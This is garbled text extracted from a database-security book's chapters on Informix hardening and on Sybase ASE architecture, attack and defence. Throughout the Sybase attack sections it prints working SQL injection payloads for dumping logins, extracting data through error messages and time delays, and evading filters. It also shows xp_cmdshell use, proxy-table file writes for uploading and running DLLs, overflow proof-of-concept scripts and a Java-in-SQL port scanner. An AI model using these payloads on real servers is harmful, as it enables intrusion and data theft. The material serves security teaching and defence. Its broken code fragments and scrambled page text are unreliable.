To help resolve this security hole, create a role called FileAccess and
assign only those users that require file access, as a strict business requirement,
membership of this role
...
Revoke Public Execute Permissions
on Module Routines
By default, public can execute the module functions such as ifx_replace_
module, ifx_load_internal, and reload_module
...
To help resolve this security hole, create a role called Module
Access and assign only those users that are required to load modules, as a
strict business requirement, membership of this role
...
Preventing Shared Memory from Being Dumped
In the event of a server crash Informix can be configured to dump shared
memory sections to disk
...
Because these
dumps are world readable and contain usernames and passwords, it would be
20_578014 ch12
...
To do this, edit the
onconfig file and set the DUMPSHMEM parameter to 0
...
Preventing Local Attacks on Unix-Based Servers
Most of the local security problems Informix suffers from on Unix-based platforms arise from the setuid root programs and setuid Informix programs
...
/ -perm +4000
This will list all setuid programs in the bin directory
...
Anyone that has usage on these languages can run code as the
Informix user
...
boulder
...
com/epubs/pdf/ct1ucna
...
boulder
...
com/epubs/pdf/ct1tbna
...
boulder
...
com/
epubs/pdf/ct1sqna
...
qxd
6/3/05
6:39 PM
Page 192
21_578014 pt05
...
qxd
6/3/05
6:52 PM
Page 194
22_578014 ch13
...
It is not intended to be an administrative guide, but rather a quick, toplevel survey of the components and features of Sybase that we will be covering
later in the attack and defense chapters
...
Sybase ASE is used extensively in the financial world — banking, stock
exchanges, insurance companies — as well as in all of the enterprise applications that you would normally expect to see a large DBMS, such as web services and e-Commerce
...
5
...
It is available for a variety of
operating systems, notably Windows, Linux, and a variety of Unix platforms
...
qxd
196
6/3/05
7:03 PM
Page 196
Chapter 13
because of the popularity of its enterprise DBMS, when people refer to “Sybase,”
they generally mean ASE
...
was the first company to market with a client/server RDBMS,
which at the time (1988) was known as “Sybase SQL Server
...
2), Microsoft Corp
...
Sybase renamed its product to
Sybase Adaptive Server Enterprise (ASE) in 1997
...
Microsoft SQL Server is covered elsewhere in this volume
...
Java-In-ASE
Sybase ASE supports Java extensively, incorporating its own VM and full
interoperability with Transact-SQL
...
As an example, the following transact SQL will raise an exception if the host
192
...
1
...
net
...
net
...
168
...
1”, 22 )
select @s>>”close”()
As you can see, it is possible to declare transact-sql variables of Java types,
instantiate objects using parameterized constructors, and call functions
...
net
...
22_578014 ch13
...
net
...
168
...
1”, 22 )
This instantiates @s with a newly created socket using the (java
...
String,
java
...
Integer) constructor
...
In this case, we’re creating the object and attempting to
connect to the IP address “192
...
1
...
If we cannot connect to
the host in question, we’ll see a Transact-SQL error message that wraps a Java
exception, like this:
Server Message: Number 10707, Severity 16
Server ‘SybTest’, Line 2:
Unhandled Java Exception: java
...
SocketException: Connect failed:
Connection refused
...
net
...
socketConnect(PlainSocketImpl
...
Assuming we can connect, we then call the “close” member of the Socket
class, to tidy up:
select @s>>”close”()
There are two interesting points here: first, the member access operator
>>that we use to access members of the object and second, the fact that we’ve
had to enclose the member function name in double quotes
...
In general, putting the identifier in double quotes does the trick
...
XML Support (Native and via Java)
Sybase supports XML via the built-in functions xmlextract, xmltest, xmlparse,
and xmlrepresentation
...
If you want a simple, straightforward way of exporting the result of a
select statement as XML, you can simply add “for xml” on the send of a select
statement:
197
22_578014 ch13
...
w3
...
Cross-Platform Support
As previously mentioned, Sybase supports a variety of operating systems,
including Linux, HPUX, Mac OS, Sun OS (Solaris), and Windows
...
Wider “Device” Support (for Raw Disk Partitions)
Sybase supports the use of raw disk partitions for database devices, and
allows configuration of performance-relevant parameters such as delay-write
caching
...
22_578014 ch13
...
Each deployment scenario has its own set of challenges for the administrator that’s securing it
...
This
section goes through the various common deployment scenarios and discusses some of the security issues around them
...
These applications typically address business needs such
as expenses, helpdesk systems, software bug tracking, timesheets, and in some
cases, project management
...
Likely security problems are
■
■
Everyone can connect to every TCP port on the database server
...
For example, in an expenses system, if
everyone is authenticating as the same database-level user, all users can
see each other’s expenses claims
...
Another is to use a separate account for every
user
...
Frequently this “group working” type of application is installed on a shared
“team” server
...
Essentially, this is a generic problem with shared infrastructure — you
can think of it as the “own one, own all” problem
...
If there
are N applications, which each take a minimum of E effort to compromise, the
199
22_578014 ch13
...
Because the applications are deployed on shared infrastructure, the attacker only has to expend E
effort, where E is the effort required to break the weakest application on the
server
...
Be it e-Commerce, a technical support forum, a web content management solution, a customer database
for product registration, or as the central management point for access to other
data feeds, the database-oriented web application is now ubiquitous
...
In many ways, the level of security required of a web back-end database
server is higher than that of an internal system, mainly because of the possibility of compromise over the Internet
...
SQL injection is now a well-known technique in the security community, but a large number of organizations’ applications are
still vulnerable
...
Normally this can be used to fully
compromise the back-end database server and in the most severe cases
can act as a conduit directly to the organization’s internal network
...
■■
Trusted paths for replication/service provision
...
In most database systems, including Sybase, the slave connects to the master and updates its own copy of the data with new data
from the master
...
The slave is in
an untrusted network, and it must connect into the trusted network in
order to update its data
...
An
attacker will typically be able to elevate the privileges associated with
the “low privileged” replication account and thereby take control of the
master database
...
qxd
6/3/05
7:03 PM
Page 201
Sybase Architecture
■
■
Web-based provision of legacy systems
...
In order to
do this, their creaky old back-end systems have to be made accessible to
the client’s browser at some point
...
Depending upon the details of this
integration, the database might be trusted with administrative-level
credentials to these back-end systems
...
■
■
Web services
...
This is easy to misconfigure; we’ll address the
problems later in this section
...
For example, a query can be issued using a URL such as
https://sybase
...
com:8182/invokemethod?type=execute&username=sa
&password=&service=SYBASE&sql=select%20@@version&output=All
This query will return the @@version string
...
If there
is a single part of any organization that has the most open security posture,
this is it
...
Developers have a very limited amount of time to get their code running
...
If there’s a problem with their code,
they don’t want to have to wait for the database administrator to get back from
lunch before they can fix it; they want administrative control of the database
server now
...
In terms of Sybase, because of
the popularity of Windows, that means blank sa passwords with the database
server running as “local system” every time
...
You want the development environment to be as open as
possible because that way the developers will get more done, quicker
...
qxd
202
6/3/05
7:03 PM
Page 202
Chapter 13
to affect the posture of the rest of the organization
...
If this isn’t possible (after all, developers have to use
e-mail and fill in timesheets as often as the next guy) some kind of VPN
to a “playground” development test network where everything is open
might be a reasonable solution
...
Developers do not have time to patch
...
There is no easy solution to this problem, other than simply bearing the
risk, and relying on segregation to mitigate the impact of any serious
bugs
...
By default, Sybase services listen on the TCP ports that are listed in Table 13
...
Table 13
...
In general, only a restricted number of machines will
be connecting to a database server and the server should have a firewall rule
set that enforces this policy
...
If a dedicated firewall would be too costly, consider deploying a host-based
firewall rule set specific to the operating system you are running
...
qxd
6/3/05
7:03 PM
Page 203
Sybase Architecture
make an extremely effective firewall
...
When the next database worm or disgruntled developer comes along, you’ll be glad you made the
effort
...
Sybase supports SSL for encryption and additional authentication
...
Third-party clients are
available, however, including a number of open source ones
...
You can find the homepage of the FreeTDS project at
http://www
...
org
...
Sybase permits
a number of authentication mechanisms, including Kerberos, DCE, Windows
NT LanMan, and Sybase native authentication
...
Privilege Model
Sybase has a fairly complex privilege model, permitting a wide variety of configurations and allowing role-based partitioning of accounts, as well as dividing users into groups and enforcing column- and row-level security on tables
...
0
...
The evaluated
configuration was HP 9000 HP-UX, and certain features, such as remote procedures and direct updates to system tables, were excluded from the evaluated
configuration
...
Generally an attacker will compromise a server using one of the following:
■
■
Pre-existing trusted channels such as linked servers
■
■
Some software flaw such as a buffer overflow
Neither of these types of attack are really relevant to the number or type of
formal security evaluations that a database has; the first because the trusted
203
22_578014 ch13
...
Login Account Basics
Each user of Sybase requires a login to connect to the database
...
Each database in Sybase has a
“sysusers” table that determines which user accounts can use that database
...
The process for adding a new user generally goes like this:
■■
The administrator adds the login account with sp_addlogin
...
■■
The administrator or a database owner adds the user to various databases using sp_adduser
...
■■
The user is granted membership of some roles
...
Passwords and Password Complexity
Each login account has a password
...
sp_configure ‘check password for digit’, 1
will apply a system-wide check that ensures all new passwords have at least
one digit
...
This setting can also be applied per-user or per-role, via
options on the sp_addlogin and sp_modifylogin procedures and the “create
role” and “alter role” statements
...
Again, the
administrator uses the sp_modifylogin procedure and “alter role” statement to
achieve this
...
qxd
6/3/05
7:03 PM
Page 205
Sybase Architecture
Roles
The default roles in Sybase, along with their purpose, are listed in Table 13
...
Table 13
...
It is possible to configure Sybase to use raw partitions, as well as the default behavior of using a single file per “device
...
The
sp_helpdevice stored procedure will list the available devices
...
dat’,
size=’10M’
In Unix, the dsync flag allows control over write buffering
...
Of course, writing data to the disk immediately with no caching can impact performance, so
in some circumstances you may favor speed over resilience (especially if you’re
using replication)
...
qxd
206
6/3/05
7:03 PM
Page 206
Chapter 13
Each disk device is managed by Sybase, using a highly optimized storage
structure
...
In terms of security, the standard DBMS/File system rules still hold — if
attackers can read the files that back the database, they have the data
...
Of course, the files are large, so transporting them
away from a compromised host may pose problems
...
Service Interaction
A number of mechanisms exist that allow interaction directly with the configuration of the Sybase service
...
Extended Stored Procedures
Stored procedures in Sybase are batches of Transact SQL commands that can
be called as a single unit, and passed parameters
...
Extended stored procedures
are functions normally written in C/C++ that reside in dynamically loadable
libraries (DLLs or
...
For example, the built-in system extended stored procedure xp_cmdshell allows you to execute a command-line command and
receive the result within a Transact SQL query, like this:
xp_cmdshell ‘net user’
xp_cmdshell
----------User accounts for \\SYBTEST
-----------------------------------------------------------------------------ASPNET
Administrator
Guest
IUSR_SYBTEST
IWAM_SYBTEST
NetShowServices
SQLDebugger
TsInternetUser
VUSR_SYBTEST
The command completed successfully
...
The idea behind
22_578014 ch13
...
Starting New Listeners
An interesting feature of Sybase is the ability to quickly and easily start listeners on various TCP ports
...
168
...
1:80’
will start a listening instance of Sybase on TCP port 80 on the specified IP
address (the IP address must be an IP address of the host that the procedure
is executing on)
...
The Sybase server is notionally secure because it has no service listening on port 80
...
Clearly there are a lot of “ifs” here
...
Still, it is worth bearing in
mind when locking down Sybase hosts that if users can become sa, they can
start listeners on TCP ports of their choice
...
qxd
6/3/05
7:03 PM
Page 208
23_578014 ch14
...
On the defensive side, there are a lot of things that you can do to make the
attacks much more difficult, if not impossible
...
But first, you need to be able to locate Sybase servers and determine their
configuration
...
This
section describes a number of techniques for locating Sybase servers
...
It is very easy to configure Sybase to listen
on different ports, but these well-known ports can be a big help
...
insecure
...
209
23_578014 ch14
...
Simply search
HKEY_LOCAL_MACHINE\Software\ODBC
for “SybaseServerName” and “NetworkAddress” and you will see the hostnames IP addresses and TCP ports for any Sybase data sources that are configured on the host in question
...
Sybase Version Numbers
Sybase responds to failed authentications with a packet that contains the major
and minor version number of the server, so sniffing a failed authentication
response packet will normally give you the version number
...
IP Header
...
Raw Data
04 01 00 4e 00 00 00 00 ad
0a 73 71 6c 20 73 65 72 76
23 00 a2 0f 00 00 01 0e 05
00 0e 00 4c 6f 67 69 6e 20
0a 00 00 00 00 fd 02 00 02
14
65
5a
66
00
00
72
5a
61
00
06
0c
5a
69
00
05
05
5a
6c
00
00
00
5a
65
00
00
00
00
64
00
e5
01
2e
(
N
)
( sql server
)
(#
ZZZZZ )
(
Login failed
...
5
...
0
...
The server that sent the preceding packet was
actually running ASE 12
...
1
...
From our experimentation, the truncated
authentication attempt is not logged, even if the authentication logging
options are set
...
23_578014 ch14
...
Snooping Authentication
In a default, “out of the box” configuration, Sybase transmits passwords in clear
text over the network
...
Nonetheless, default configurations do occasionally crop up,
so be aware that traffic from Sybase clients to the normal Sybase server ports,
5000–5004, may well have plaintext passwords in it
...
This scenario occurs when an attacker pretends to be
the database server
...
Attacking Sybase
This section covers techniques for attacking Sybase servers
...
SQL Injection in Sybase
Sybase has a particular problem when it comes to SQL Injection, which is
partly because of its shared “ancestral” code base with Microsoft SQL Server
...
qxd
212
6/3/05
7:03 PM
Page 212
Chapter 14
that well
...
This section offers a brief SQL Injection refresher, evaluates the effectiveness
of well-publicized Microsoft SQL Server attack techniques in a Sybase environment, and then explores some Sybase-specific techniques such as Java-InSQL and filesystem interaction via proxy tables
...
If your Sybase server (and
XP service) are running as low-privileged users, and the Sybase user that the
web application is using to connect is low-privileged, and you’re fully patched
up to date, the practical impact of SQL injection is radically reduced
...
We will talk about defense in general later in this chapter
...
Normally people are most concerned
about SQL injection in web applications, so we will use a very simple web app
as an example
...
Because
Java is a key part of Sybase’s strategy, a small Java Servlet-based web application is probably appropriate
...
This can be installed in any Servlet-enabled web server, for
example Tomcat
...
io
...
lang
...
net
...
sql
...
servlet
...
servlet
...
*;
import com
...
jdbc2
...
*;
public class BookQuery extends HttpServlet
{
public void init(ServletConfig config) throws ServletException
{
super
...
qxd
6/3/05
7:03 PM
Page 213
Sybase: Discovery, Attack, and Defense
public void destroy(){}
protected void processRequest(
HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException
{
PrintWriter out = response
...
setContentType(“text/html”);
out
...
println(“
Search results
”);Class
...
sybase
...
jdbc
...
getConnection(“jdbc:
sybase:Tds:sybtest:5000”,”sa”, “sapassword”);
Statement stmt = con
...
getParameter(“search”);
ResultSet rs = stmt
...
titles where UPPER(title) like UPPER(‘%” + search + “%’)”);
int numberOfColumns = rs
...
getColumnCount();
rs
...
println(“
out
...
println(“”);
}
catch( SQLException e )
{
while( e != null )
{
out
...
getNextException();
}
}
catch( Exception e )
{
213
23_578014 ch14
...
println(“Exception:” + e);
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse
response)
throws ServletException, IOException
{
processRequest(request, response);
}
protected void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException
{
processRequest(request, response);
}
public String getServletInfo()
{
return “SQL Injection Servlet Sample”;
}
}
Once installed, the Servlet can be queried directly via a GET request like
this:
http://sybase
...
com/servlet/BookQuery?search=database
This returns the record for “The Busy Executive’s Database Guide
...
sybase
...
jdbc
...
com
...
jdbc2
...
SybSQLException: Incorrect
syntax near ‘)’
...
Because the input can contain a singlequote character (‘), the attacker can modify the query to do subtly different
things
...
getParameter(“search”);
ResultSet rs = stmt
...
titles where
UPPER(title) like UPPER(‘%” + search + “%’)”);
So let’s say we want to return the names of the users in the master
...
We can modify the query so that it looks like this:
23_578014 ch14
...
titles where UPPER(title) like UPPER(‘%1234’) union
select name,null,null,null,null,null,null,null,null,0 from
master
...
example
...
syslogins--
will return the names of all users in the syslogins table
...
example
...
The attacker can submit the SQL query of his choice, including Data
Manipulation Language statements (DML) and Data Definition
Language statements (DDL)
...
The attacker is using a pre-authenticated channel that is provided by
the application; therefore he can do anything the application can do
...
Because in this specific case, the attack is based on the attacker being able to
insert a single quote, a quick way to prevent this would be to insert the line
search = search
...
Of course, this
won’t work for numeric data since numbers are not delimited in Transact SQL
...
Now that you’ve had a (very) brief look at SQL injection, the next section
takes a deeper look at which Microsoft SQL Server SQL injection techniques
work, and which don’t
...
qxd
216
6/3/05
7:03 PM
Page 216
Chapter 14
it is worthwhile to take a quick survey of the known techniques and see how
well they work in Sybase
...
It’s unwise to get too hung up on -- because it’s always possible to
complete the query in a manner that makes the comment sequence unnecessary
...
example
...
syslogins--
we could just conclude the query with an unnecessary “or” term:
http://sybase
...
com/servlet/BookQuery?search=1234’)+union+select+
name,null,null,null,null,null,null,null,null,0+from+master
...
In general,
a superfluous “or” operator in a where clause will work, or (if you’re injecting
a batch of statements) an additional “select” at the end of the batch
...
Error Messages
Sybase error messages are almost as helpful as MS SQL Server error messages
...
This is where the
attacker deliberately casts VARCHAR data to an integer, in order to provoke
an error message containing the actual VARCHAR data
...
sysdatabases order by name
To achieve the same result in our example, using the integer conversion
technique, you would request:
BookQuery?search=’)+and+1=convert(integer,(select+min(name)+from+sysdata
bases+where+name>’’))--
23_578014 ch14
...
sybase
...
jdbc
...
So the error message contains the string ‘master’, which is the first row of
our resultset
...
In this way we iterate through all
of the rows until our select statement returns no further data
...
In Sybase,
the @@version global variable is still present — referencing the error message
technique of the previous section, we can obtain it like this:
BookQuery?search=’)+and+1=convert(integer,(select+@@version))--
which returns something along the lines of:
‘Adaptive Server Enterprise/12
...
2/EBF 11948 ESD#1/P/NT (IX86)/OS
4
...
5
...
Another global variable, @@version_as_integer, returns the “major version”
of Sybase — this is the same version that can be obtained via the versiongrabbing script listed earlier, 12500 in this case, representing version 12
...
0
...
To obtain an integer via the error message technique outlined earlier, we
simply convert the integer into a string that cannot be implicitly converted to
an integer, like this:
convert(integer,(select ‘z’ + str(@@version_as_integer)))
217
23_578014 ch14
...
sybase
...
jdbc
...
In general, to obtain a variable of an arbitrary data type using the integer
conversion error message, cast the variable to a string first, and then perform
an integer conversion
...
The error message in MS SQL Server is of the form:
Column ‘users
...
The syntax for the “having” and “group by” clauses in Sybase and MS SQL
Server are slightly different; specifically, Sybase has a much more liberal “having” and “group by” syntax, so this particular technique doesn’t work
...
Sybase flow-of-control and declare statements work in almost exactly the
same way, so this type of injection works fine
...
Only administrators can execute xp_cmdshell, by default
...
If the option is set to 0 via the
statement
23_578014 ch14
...
If the setting is 1 (the default), xp_cmdshell will execute under the context of the user that is executing the query, who must be an administrator at the
operating system level
...
Custom Extended Stored Procedures
The stored procedure API works in almost exactly the same way in Sybase as
in MS SQL Server, so the concepts involved in malicious extended stored procedures are largely the same
...
Because of this separation, some attacks (for example, applying runtime code patches) will not work
...
This is (generally) fine for string data, but it doesn’t help with numeric data
...
The CHAR function allows you to create a string literal via a concatenation of characters based
on character code, however
...
For example,
select char(0x41)+char(0x42)+char(0x43)
produces (‘ABC’)
...
219
23_578014 ch14
...
SHUTDOWN
Often used in MS SQL Server injection walkthroughs, the SHUTDOWN command is a particularly good example of why even a small number of characters injected into a query can be dangerous
...
Although it requires admin
privilege, the effects of this on a web application are easy to imagine
...
Audit Evasion via sp_password
In MS SQL Server, if the attacker appends the string
sp_password
to the Transact-SQL statement, this audit mechanism logs the following:
-- ‘sp_password’ was found in the text of this event
...
This behavior occurs in all T-SQL logging, even if sp_password occurs in a
comment
...
In Sybase, the auditing mechanism doesn’t store the entire text of the query,
so the default auditing mechanism is not vulnerable to this kind of evasion
...
You are as likely to find a pre-authenticated channel between Sybase servers as
you are between MS SQL Servers, because the business factors that cause people to set those channels up are the same
...
qxd
6/3/05
7:03 PM
Page 221
Sybase: Discovery, Attack, and Defense
In Sybase, however, the passwords that are used to connect to external servers
are (depending upon your configuration) stored in a weakly encrypted format,
in a guest-readable table (sysattributes)
...
dbo
...
The weak encryption may pose a security risk because the sysattributes
table is readable by guest
...
Of course, this is only a problem in some authentication models,
but it is still worth bearing in mind when you’re contemplating configuring
external logins
...
If you “google” for internal_encrypt, you’ll see several postings along these lines to technical newsgroups
...
Also, using undocumented internal functions in production systems is not recommended
...
Using Time Delays as a Communications Channel
In a previous paper relating to SQL injection in MS SQL Server, we discussed a
technique for extracting information from the database using time delays
...
qxd
222
6/3/05
7:03 PM
Page 222
Chapter 14
was discussed was the waitfor statement in MS SQL Server
...
In Sybase, the command
waitfor delay ‘0:0:5’
will cause Sybase to wait for 5 seconds
...
Try a number of forms of the waitfor command, in order to maximize
the chances of correctly forming the statement:
BookQuery?search=0+waitfor+delay+’0:0:5’-BookQuery?search=’+waitfor+delay+’0:0:5’-BookQuery?search=”+waitfor+delay+’0:0:5’-BookQuery?search=’)+waitfor+delay+’0:0:5’-BookQuery?search=”)+waitfor+delay+’0:0:5’--
In a database-driven web application, the request is transported from the
user’s web browser to some application environment — in this case, a Java
Servlet
...
In
almost every case, the application will wait until the query has completed,
then return a result to the client
...
In the preceding examples, if
the server takes longer than 5 seconds to respond to our HTTP request, the
application is either very slow, or vulnerable to SQL injection
...
To extract arbitrary information from the database, we use a similar technique to the techniques we used when error messages were available
...
The resulting error message would include the
text that we wanted to retrieve
...
Because we can
represent any data in the database as a string, and we can extract any individual bit from a string, we can retrieve any data we wish, using time delays as
the transmission channel
...
qxd
6/3/05
7:03 PM
Page 223
Sybase: Discovery, Attack, and Defense
By changing the power of 2 (that is, the bit) we’re extracting, we can determine all of the bits in the first byte:
if (ascii(substring(db_name(), 1, 1)) & ( power(2, 1))) > 0 waitfor
delay ‘0:0:5’
if (ascii(substring(db_name(), 1, 1)) & ( power(2, 2))) > 0 waitfor
delay ‘0:0:5’
if (ascii(substring(db_name(), 1, 1)) & ( power(2, 3))) > 0 waitfor
delay ‘0:0:5’
and so on
...
If we carry on and extract the remaining bytes, we find
that db_name() was ‘master’
...
An important point to realize here, though, is that the channel is random-access rather than sequential; we
can request whatever bits we like, in whatever order we choose
...
The bandwidth of the channel is therefore limited not by the time
delay, but by the number of simultaneous requests that can be made through the
web application to the database server; this is typically in the hundreds
...
This script would take as input the
location of the vulnerable web server and script, the parameters to submit to
the script, and the desired query to run
...
In our tests using real-world web applications, 4 seconds was demonstrated
to be an effective time delay (resulting in a bit-error-rate of 1 per 2000), and a
query rate of 32 simultaneous queries was sustainable
...
This may not sound like a lot, but
it is more than enough to transport an entire table of passwords or credit card
numbers in a couple of hours
...
For example:
exec(‘select @@version’)
223
23_578014 ch14
...
Exec
makes these filters fairly easy to evade, by using queries like this:
exec(‘sel’+’ect @’+’@ver’+’sion’)
Or even by encoding the entire string in a VARBINARY literal:
declare @s varchar(2000)
set @s=0x73656C65637420404076657273696F6E
exec(@s)
This is equivalent to select @@version
...
In general, filtering user input on known SQL
statements is an exceptionally bad way to address SQL injection
...
This generally works, unless the filter is applied until no substitutions could be made
...
To enable it, an administrator must execute
sp_configure “enable cis”, 1
sp_configure “enable file access”, 1
The server need not be rebooted; as soon as the configuration is changed the
external filesystem mechanism should be available
...
txt”
select * from foo_txt
The table is created by default with a single VARCHAR column of width 255
characters
...
txt”
23_578014 ch14
...
txt using the update statement and a temporary
table
...
txt contains the following:
record
-----hello world
line 2
line three
and you wish to edit the first line to read “goodbye world,” you can do so like
this:
create table #foo( record varchar(1000))
insert into #foo select * from foo_txt
update #foo set record=’goodbye world’ where record like ‘hello world’
select * from #foo
truncate table foo_txt
insert into foo_txt select * from #foo
drop table #foo
Note that there is a period of time, between the “truncate” and the “insert”
that follows it, where foo
...
If you are editing a configuration file, this might be a problem for you, so use the technique with care
...
It is possible to compromise most hosts given sufficient time and the ability
to edit text files with sufficient authority, but it is also possible to use the
Sybase file API to create (almost) arbitrary binary files
...
” Fortunately each line can be fairly long,
and the line can contain totally arbitrary bytes, so within these restrictions it is
possible to upload almost any binary file to a Sybase server, albeit with a few
slight modifications
...
exe”
You can then insert VARBINARY literals into the file
...
qxd
226
6/3/05
7:03 PM
Page 226
Chapter 14
Using this technique it is possible to upload a custom extended stored procedure DLL or library, load it with sp_addextendedproc or CREATE PROCEDURE, and then execute the code contained in the library by calling the new
extended stored procedure
...
Defending Against Attacks
Several fairly straightforward defensive measures exist that you can take
against all of the attacks mentioned in this chapter
...
■■
Protect your Sybase servers with firewalls
...
Depending on your configuration there may be no need
for the Sybase server to ever initiate an outbound TCP connection, or
send any UDP traffic
...
The IPSec mechanism in Windows server
platforms also affords some measure of protection
...
■■
If possible, use an alternative authentication method
...
■■
If you are not using Java, don’t enable it
...
■■
Similarly, if you are not using external filesystem access, don’t enable it
...
■■
Apply appropriate filesystem permissions, to ensure that even if users
were able to compromise the Sybase database, they would not be able
to gain administrative control over the server itself
...
Older Known Sybase ASE Security Bugs
Various security flaws have previously been discovered in Sybase
...
23_578014 ch14
...
5 authentication handling code
...
The documented impact was a denial of service, but a great
deal has been written about heap overflow exploitation since that was not
known at the time, and it is possible (in fact, probable) that the issue is in fact
exploitable
...
published an advisory relating to an
exploitable stack overflow in the DBCC CHECKVERIFY command of Adaptive
Server Enterprise 12
...
This command can be executed by a non-privileged user,
and was therefore in the same category as the NGS bugs previously described
...
securityfocus
...
published an advisory relating to an
exploitable stack overflow in the DROP DATABASE command, in ASE 12
...
Further information is available at
http://www
...
com/bid/6267
And, again, here is a script that demonstrates the vulnerability:
declare @s varchar(16384)
select @s = replicate(‘A’, 16384)
DROP DATABASE @s
xp_freedll Buffer Overflow
In 2002, Application Security Inc
...
0
227
23_578014 ch14
...
5
...
More info is available at
http://www
...
com/bid/6266
This script reproduces the bug:
declare @s1 varchar(10000)
set @s1 = @s1 + replicate(‘x’,300)
set @s1 = @s1 + ‘
...
It is written for the Windows platform
...
cpp
// Chris Anley [chris@ngssoftware
...
h>
#include
h>
#include
h>
int syntax()
{
printf(“syntax: sybaseversion
return 1;
}
int err( char *psz )
{
printf(“%s\n”, psz );
return 0;
}
int init_sockets()
{
int ret=0;
WORD wVersionRequested;
WSADATA wsaData;
// Initialise Winsock in this thread
wVersionRequested = MAKEWORD( 2, 0 );
ret = WSAStartup( wVersionRequested, &wsaData );
if ( ret != 0 )
return err( “Couldn’t start sockets” );
if ( LOBYTE( wsaData
...
wVersion ) != 0 )
23_578014 ch14
...
sin_port = htons( (short)port );
sa
...
sin_addr
...
Maybe something is already”
“ using it?”);
return 1;
}
int set_listen( int socket )
{
if ( listen( socket, SOMAXCONN ) != 0 )
return 0;
return 1;
}
int get_new_connection_socket( int socket, unsigned int *connectinghost,
int *ps )
{
int sc;
struct sockaddr_in client;
sc = (int)accept( socket, (struct sockaddr *)&client, NULL );
if ( sc == INVALID_SOCKET )
{
//ret = WSAGetLastError();
return err( “Error immediately after receiving”
“connection\n” );
}
229
23_578014 ch14
...
sin_addr
...
S_addr;
*ps = sc;
return 1;
}
int connect_to( int socket, char *host, unsigned short port )
{
struct sockaddr_in sa;
int i, len, alpha = 0;
struct hostent *he;
unsigned long addr;
len = (int)strlen( host );
for( i = 0; i < len; i++ )
{
if( isalpha(host[i]) )
{
alpha = 1;
break;
}
}
if( alpha )
{
he = gethostbyname(host);
if ( he == NULL)
return 0;
}
else
{
if ( len > 16 ) // xxx
...
xxx
...
sin_addr
...
sin_family=AF_INET;
sa
...
qxd
6/3/05
7:03 PM
Page 231
Sybase: Discovery, Attack, and Defense
if ( ret > 0 )
return 1;
return 0;
}
int send_data( int socket, char *buffer, int length, int *bytes )
{
int ret = send( socket, buffer, length, 0 );
*bytes = ret;
if ( ret == 0 )
return 0;
return 1;
}
int close_socket( int socket )
{
closesocket( socket );
return 1;
}
int dump_buff( unsigned char *psz, int bytes, int file_no )
{
for( int i = 0; i < bytes; i++ )
{
printf(“\\x%02x”, psz[i] );
}
printf(“\n\n”);
return 1;
}
int main( int argc, char * argv[] )
{
unsigned char auth[] =
“\x02”
// packet type = TDS 4
...
0 login packet
“\x01”
// last packet indicator = 1 : last packet
“\x02\x00”
// packet size: 512 bytes
“\x00\x00\x00\x00” // 4 bytes; purpose unknown
“XXXXXXX\x00\x00\x00”
// 30 bytes: Host name (XXXXXXX)
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
“\x07”
// host name length
“XX\x00\x00\x00\x00\x00\x00\x00\x00” // 30 bytes: User name
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
“\x02”
// user name length
“XXXXXXXXXX” // 30 bytes: password
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
“\x0a”
// password length
// 30 bytes: process
“\x31\x31\x35\x32\x00\x00\x00\x00\x00\x00”
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
231
23_578014 ch14
...
qxd
6/3/05
7:03 PM
Page 233
Sybase: Discovery, Attack, and Defense
// language 30 bytes
...
%d
...
%d\n”,
buff[i], buff[i+1], buff[i+2], buff[i+3] );
break;
}
}
return 0;
}
233
23_578014 ch14
...
qxd
6/3/05
7:11 PM
Page 235
CHAPTER
15
Sybase: Moving Further
into the Network
This chapter is largely focused on attack, and covers the techniques the attacker
can use to move deeper into the network, having compromised the Sybase
server
...
Accessing the Network
An attacker wishing to access external database servers from within Sybase
has several options
...
This is the most flexible
approach, but probably not the easiest to use
...
You can add servers via the sp_addserver stored procedure, and configure them via sp_serveroption
...
The disadvantage of using this technique to connect to other databases is that it
requires sa_role or sso_role privileges
...
235
24_578014 ch15
...
In this scenario, attackers would be able to use their own
client software (for example, their DB2 client) to connect to a server within the
Sybase server’s network
...
Connecting to Other Servers with Sybase
The legitimate method using sp_addserver is probably the easiest to use
...
168
...
12:5000’
The server TEST has now been set up with the physical address being the
IPv4 address 192
...
1
...
You can then specify credentials for the remote server, specifying which
local account maps to which credential set on the remote host:
sp_addexternlogin ‘TEST’, ‘sa’, ‘sa’, ‘password’
Assuming you are logged in as sa to the local Sybase server, you can now
test the connection to the remote host
...
You should
be able to select @@version to determine the version of the remote host
...
If you do not have a reliable direct connection to the local server (for example, you are working via SQL injection) you can make use of the sp_remotesql
stored procedure to execute SQL on the newly added server:
sp_remotesql ‘TEST’, ‘select 123’
You can use this syntax to create procedures and tables on the remote server
...
example
...
qxd
6/3/05
7:11 PM
Page 237
Sybase: Moving Further into the Network
Other ways of connecting to remote servers include adding a reference to a
remote table or procedure that you know exists, for example the master
...
master
...
You can connect to other DBMS by changing the second parameter to
sp_addserver:
sp_addserver ‘TEST’, ‘sql_server’
Java in SQL
We discussed Sybase Java support briefly in Chapter 13 but we should also
address it here because it is one of the most security-sensitive features of
Sybase
...
This obviously has implications in terms of
security because it significantly increases the functionality available to an
attacker or a low-privileged Sybase user
...
That said, these restrictions could be worked around fairly easily
...
net
...
net
...
168
...
1”, 22 )
select @s>>”close”()
This is a neat little example because it demonstrates most of what you need
to understand in order to write your own Java snippets in Transact-SQL: declaration of a Java type, instantiation via a parameterized constructor, and the
fact that if a Java function name is the same as a Transact-SQL reserved word,
you need to enclose it in quotes
...
qxd
238
6/3/05
7:11 PM
Page 238
Chapter 15
Several advantages exist from the attacker’s perspective to invoking Java in
this way
...
This means that it’s generally harder to
follow what the attacker did
...
If the statements are being inserted via SQL
injection, this can all be done ad-hoc using only a web browser
...
Finally (and this is an advantage of Java in SQL in general), once the administrator configures it, Java support is available to all users
regardless of privilege level
...
The first example is a more elaborate version of the port scanner we looked
at previously
...
net
...
io
...
net
...
lang
...
currentThread()>>sleep( 1000 )
while( @is>>available() > 0 )
begin
select @banner = @banner + char(@is>>”read”())
end
select @s>>”close”()
select @banner
print ‘end’
end
